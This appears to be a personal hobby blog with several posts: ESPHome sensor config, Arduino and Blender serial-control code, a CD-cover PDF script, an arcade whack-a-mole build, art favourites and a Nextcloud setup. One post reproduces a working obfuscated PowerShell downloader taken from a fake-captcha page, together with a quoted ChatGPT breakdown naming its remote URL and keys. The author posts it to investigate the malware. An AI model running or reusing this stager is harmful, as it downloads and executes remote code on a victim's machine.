New CO2 sensor

Today I got, amongst other goodies a new CO2 sensor in the mail.

This is a MH-Z19C CO2/Temperature sensor.
(Easy to implement with ESPHome)

My dashboard. NOTE: Not calibrated yet!

YAML Code

# Board: Wemos D1 Mini (ESP8266) (Wemos)
# Definition: definitions/boards/d1_mini/manifest.yaml

esphome:
  name: newco2
  friendly_name: NewCO2

esp8266:
  board: d1_mini

logger:

api:
  encryption:
    key: "c/vSFcxi1YgYlXtvsjk4lFxxxxxxxxxxxxxxx="

ota:
  - platform: esphome

wifi:
  ssid: !secret wifi_ssid
  password: !secret wifi_password
  ap:
    ssid: NewCO2 Fallback Hotspot
    password: "tepe9xxxxxxxxx"

captive_portal:

uart:
  - baud_rate: 9600
    rx_pin: 4
    tx_pin: 5
    id: uart_1

sensor:
  - platform: mhz19
    uart_id: uart_1
    co2:
      id: sensor_mhz19_1_co2
      name: CO2
    temperature:
      id: sensor_mhz19_1_temperature
      name: Temperature
    id: sensor_mhz19_1
    automatic_baseline_calibration: true
    detection_range: "5000ppm"
    
switch:
  - platform: template
    name: "MH-Z19 ABC"
    optimistic: true
    on_turn_on:
      mhz19.abc_enable: sensor_mhz19_1
    on_turn_off:
      mhz19.abc_disable: sensor_mhz19_1

Blender plugin for 8 potmeter input

This weekend I saw a corridor crew video about controlling CGI objects using input devices.

This made me think of a half finished project I did a while ago.
So lets finish it.

(I know, dirty screen .. too much outside hacking)

8Angle M5 thingy using I2C (Pin D1 and D2)

CODE for wemos

Very simple code to read pots using I2C and printing values on the serial output using the wemos.
Only needs 5V,GND,SDA,SCL (D1 D2)

279,206,520,1023,1023,60,300,985,0
Output example 8 potmeters 0-1023 value and last value 0 or 1 for the switch

Serial plotter example below

#include "m5angle8.h"

M5ANGLE8 MM;

void setup()
{
  Serial.begin(115200);

  Serial.println();
  delay(100);

  Wire.begin();
  MM.begin();
}


void loop()
{
  for (int ch = 0; ch < 8; ch++)
  {
    Serial.print(MM.analogRead(ch, 10));
    Serial.print(",");
    delay(1);
  }
  Serial.print(MM.inputSwitch());
  Serial.print("\n");
  delay(100);
}

Plugin for Blender

filename unit8angle_blender/__init__.py

made into a zip you can install using

zip -r myplugin.zip unit8angle_blender

Blender edit > preferences > add-ons > Install from disk

import bpy
import serial
import serial.tools.list_ports

ser = None


def open_serial():
    global ser

    if ser:
        return

    # Change this to your COM port
    ser = serial.Serial("/dev/ttyUSB0",115200,timeout=0)


class SERIAL_OT_start(bpy.types.Operator):
    bl_idname = "wm.unit8_start"
    bl_label = "Start Unit8"

    _timer = None

    def modal(self, context, event):

        if event.type == 'TIMER':

            global ser

            if ser and ser.in_waiting:

                line = ser.readline().decode(errors="ignore").strip()

                try:

                    values = list(map(int,line.split(",")))

                    if len(values) >= 8:

                        obj = context.active_object

                        if obj:

                            obj.location.x = values[0] / 100.0
                            obj.location.y = values[1] / 100.0
                            obj.location.z = values[2] / 100.0

#                            obj.location.x = values[0] / 1023.0
#                            obj.location.y = values[1] / 1023.0
#                            obj.location.z = values[2] / 1023.0

                            obj.rotation_euler.x = values[3] / 1023.0 * 6.28318
                            obj.rotation_euler.y = values[4] / 1023.0 * 6.28318
                            obj.rotation_euler.z = values[5] / 1023.0 * 6.28318

                            s = 0.1 + values[6] / 1023.0 * 3.0
                            obj.scale = (s,s,s)

                except Exception:
                    pass

        return {'PASS_THROUGH'}

    def execute(self, context):

        open_serial()

        wm = context.window_manager

        self._timer = wm.event_timer_add(0.01, window=context.window)

        wm.modal_handler_add(self)

        return {'RUNNING_MODAL'}


class SERIAL_PT_panel(bpy.types.Panel):
    bl_label = "Unit8Angle"
    bl_space_type = 'VIEW_3D'
    bl_region_type = 'UI'
    bl_category = 'Unit8'

    def draw(self, context):
        self.layout.operator("wm.unit8_start")


classes = (
    SERIAL_OT_start,
    SERIAL_PT_panel,
)


def register():
    for c in classes:
        bpy.utils.register_class(c)


def unregister():
    for c in reversed(classes):
        bpy.utils.unregister_class(c)

Yesterday I saw some Art I recognized .. Chris Foss

While browsing the Internet, something popped up.
An image of a spaceship, and I instantly remembered where I’ve seen it before.

When I was a teenager I got hold of a book from Chris Foss, it was a large book with only around 8-10 pages.

But I loved the images.
(I shamefully admit, that I traded the book for something else a long time ago)
46x29cm printed in 1977
(See more at end of post)

At that time I had several artists that really peaked my interest in graphical arts.
I still love to paint and draw.

List of artists

Maurits Cornelis Escher https://mcescher.com/

A dutch artist know for impossible drawings.
He used woodcut, lithograph and mezzotint.
(I tried to do a mezzotint using a copper pcb plate)

H.G Giger https://www.hrgigermuseum.com/

A Swiss artist best known for his airbrushed images that blended human physiques with machines, an art style known as “biomechanical”.
He designed for several movies : Alien, Species and Dune

Banksy https://www.banksy.co.uk/

Makes statues, installations and stencil art.
The latter I really love. Tried to make some myself.

Hajime Sorayama

Airbrush master

Nico Vrielink https://nicovrielink.eu/

Mostly asian ladies (his wife). I like the long linestrokes.

Back to Chris Foss. https://chrisfossart.com/

Made many Science fiction book covers, but also a great influence of spaceships in multiple movies.

The images I recognized from 40+ years ago:

A more recent artist I discovered (10-ish years ago) is Zdzisław Beksiński.
https://www.wikiart.org/en/zdzislaw-beksinski
He was a Polish painter, photographer, and sculptor.

Reminds me of : Bag of Bones a 1998 horror novel by Stephen King.

PDF generate for CD covers (for my RFID player)

Running this thing for a while now.

New covers to be printed …

I wanted to automatically generate PDFs to print 3×4=12 covers (70mm x 70mm)

So put cover art in a subdir and run below. (See also Cover Art extractor on this site)

CODE

#!/bin/bash
set -e
#set -x
# NOTE .. some vibecoding used

find covers -type f | head -12 > images.txt 

LIST="${1:-images.txt}"

DPI=300
A4_W=2480
A4_H=3508
SIZE=827          # 70 mm @ 300 DPI

COLS=3
ROWS=4

mapfile -t images < "$LIST"

if [ "${#images[@]}" -ne 12 ]; then
    echo "12 images in $LIST please, found ${#images[@]}"
    exit 1
fi

GRID_W=$((COLS * SIZE))
GRID_H=$((ROWS * SIZE))

LEFT=0
TOP=0

cmd=(
    convert
    -size "${A4_W}x${A4_H}"
    xc:white
)

for ((i=0; i<12; i++)); do
    col=$((i % COLS))
    row=$((i / COLS))

    x=$((LEFT + col * SIZE))
    y=$((TOP + row * SIZE))

    cmd+=(
        "(" "${images[$i]}"
        -resize "${SIZE}x${SIZE}!"
        -background white
        -extent "${SIZE}x${SIZE}"
        ")"
        -geometry "+${x}+${y}"
        -composite
    )
done

cmd+=(output.pdf)

"${cmd[@]}"

echo "Created output.pdf"

Whack-a-mole progress

A while back I started modifying Arcade buttons.

UPDATE 20260706

Now, I’ve made a board with 16 modified buttons and some micropython code.

White = mole, green = hit in time, red = wrong button/out of time, rainbow = bonus points.

Now i have to think of a display and select buttons, to select the game mode and see the score.

Schematic

Above is a simplified schematic. See notes below.

  • Led rings are 8 not in example 12 (didn’t have that part in fritzing)
  • Led rings have 5V, GND, DI (data in) and DO (data out)
  • Led rings are connected in series, python code divides by 8
  • GPIO for buttons (16 yellow) have internal PICO pullup resistors
  • Todo: Screen and mode select
  • Game modes : Currently I can think of four.
  • 1 Player mode – with bonus button – works kindda
  • 2 Player mode – Green player 1 and Blue player 2 – need testing
  • 2 Player mode (half playfield) … todo
  • Above with mixed random colors, press only GREEN (or blue) .. todo
  • 1 Player mode – all random colors + bonus .. todo
  • 1 Player mode – with bonus button – keep bonus pressed for 5 seconds to double, so you need to single hand press others. (Missing is reset bonus?!?) … todo
  • Button keeps lit until pressed .. do 10 in a row. Print fastest and average time… todo

Speedup ?

Scoreboard – using a HUB75 (previous project here)

SCOREBOARD this will be connected using UART to the whack-a-mole Raspberry Pico

Scoreboard

Trying to figure out what this exploit does.

First time I saw a exploit on a website.

First I got a clickable captcha, then below screen

I pasted the code in a textfile, because I wanted to know what it wanted to do.

<# Verification code: 0C967110FDD4 #> $ibnegm='jqaCycu';$hujxyo='';for($sldw=0;$sldw -lt '0e4756714b544652'.Length;$sldw+=2){$hujxyo+=[char]([convert]::ToInt32('0e4756714b544652'.Substring($sldw,2),16)-bxor[int][char]$ibnegm[$sldw/2%7])};$sbtfhg='';for($aqsn=0;$aqsn -lt '02051533434c5a1905002012021c44120e6d1a0c1845014f331113'.Length;$aqsn+=2){$sbtfhg+=[char]([convert]::ToInt32('02051533434c5a1905002012021c44120e6d1a0c1845014f331113'.Substring($aqsn,2),16)-bxor[int][char]$ibnegm[$aqsn/2%7])};$xmptqu='';for($ngos=0;$ngos -lt '5b13587a4a534d594058774b0046594855724000470c1303771b521058450527405347081003721c'.Length;$ngos+=2){$xmptqu+=[char]([convert]::ToInt32('5b13587a4a534d594058774b0046594855724000470c1303771b521058450527405347081003721c'.Substring($ngos,2),16)-bxor[int][char]$ibnegm[$ngos/2%7])};$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6036.123 Safari/537.36');$iucqkg=$w.DownloadString($sbtfhg+'?id='+$xmptqu+'&k=0e4756714b544652');$pusjtr='';for($idtx=0;$idtx -lt $iucqkg.Length;$idtx+=2){$pusjtr+=[char]([convert]::ToInt32($iucqkg.Substring($idtx,2),16)-bxor[int][char]$hujxyo[$idtx/2%8])};iex $pusjtr

I asked ChatGPT what the readable code was.
Below the chat

This is a heavily obfuscated PowerShell downloader/executor. Its purpose is to:

  1. Decode several hidden strings using XOR.
  2. Contact a remote server.
  3. Download additional code.
  4. Decode that downloaded code.
  5. Execute it directly in memory.

That’s a common malware pattern.

Step 1: XOR key

The script defines:

$ibnegm='jqaCycu'

This string is used as a repeating XOR key to decode the hidden values.


Step 2: Decode an 8-character key

This loop:

$hujxyo=''for(...) {    $hujxyo += [char](        [convert]::ToInt32(hexpair,16)        -bxor        [int][char]$ibnegm[...]    )}

decodes:

d6'2?32'

and stores it in $hujxyo.

This becomes the XOR key used later to decrypt the server response.


Step 3: Decode the URL

The second block decodes:

https://confiaritalia.it/44fe4

stored in:

$sbtfhg

So the script will connect to:

https://confiaritalia.it/44fe4

Step 4: Decode an identifier

The third block decodes:

1a62bfab-6357-4f91-bc69-9f6ca72ec4c1

stored in:

$xmptqu

This looks like a victim ID, campaign ID, or bot identifier.


Step 5: Download a payload

The script creates a web client:

$w = New-Object Net.WebClient

sets a fake Chrome User-Agent:

Mozilla/5.0 ...Chrome/123.0.6036.123

and downloads:

https://confiaritalia.it/44fe4?id=1a62bfab-6357-4f91-bc69-9f6ca72ec4c1&k=0e4756714b544652

using:

$w.DownloadString(...)

Step 6: Decrypt the downloaded data

The server is expected to return a hex-encoded string.

The script loops through that response two characters at a time:

$pusjtr += [char](    [convert]::ToInt32(hexpair,16)    -bxor    [int][char]$hujxyo[...])

using the previously decoded key:

d6'2?32'

to recover the real PowerShell payload.


Step 7: Execute it

Finally:

iex $pusjtr

iex (Invoke-Expression) executes the decrypted code immediately in memory.

No file needs to be written to disk.


What it effectively does

In pseudocode:

key1 = "jqaCycu"decrypt embedded stringsurl = "https://confiaritalia.it/44fe4"id  = "1a62bfab-6357-4f91-bc69-9f6ca72ec4c1"key2 = "d6'2?32'"payload = download(url + "?id=" + id + "&k=0e4756714b544652")decoded_payload = xor_decrypt(payload, key2)execute(decoded_payload)

Security assessment

This is highly suspicious and matches a classic malware stager/downloader:

  • Uses XOR string obfuscation.
  • Hides its command-and-control URL.
  • Downloads code from the Internet.
  • Decrypts the downloaded content.
  • Executes it via Invoke-Expression.
  • Leaves the real payload invisible until runtime.

Without retrieving the content from the remote server, nobody can say exactly what the final payload does, but the code you’ve shown is unquestionably acting as a loader/stager whose job is to fetch and run additional code from a remote host. I would treat it as malicious unless proven otherwise.

Next I tried to download the payload mentioned in step 5.
But the domain was not resolvable and not in archive.org wayback machine.

Maybe ChatGPT got it wrong and it was http://confitalia.it/
This one had a strange history, but no downloadable exploit any more .. case closed

Installed Euro Office in a new Nextcloud instance.

I wanted to migrate the last documents I have in google drive to my own netcloud instance with wordproccessing.

I the past I tried Collabora.

But today Nextcloud Hub 26 came out. WITH euro office!

Euro-Office is a FOSS office suite and collaborative software platform based on OnlyOffice that provides editors for documents, spreadsheets, presentations, and PDFs. The software includes web-based, desktop, and mobile applications designed for document creation, editing, and collaborative work

I installed Nextcloud AIO (all in one), using docker.
Easy peasy.

Even the configuration for reverse proxies are well documented.
And almost perfect (more on this futher down this post)

I tried to open an office document, but it gave me an error.

I’ve seen this mentioned online in forums. (The software is very new, and not well tested yet)
But I found the sollution to this issue. I needed to change the configuration of my apache reverse proxy.

Below in white the part of the config change. Everything else is as documented on : https://github.com/nextcloud/all-in-one

SCREENSHOT IS NOT THE FINAL ONE : WS (WEBSOCKET) is not localhost 🙂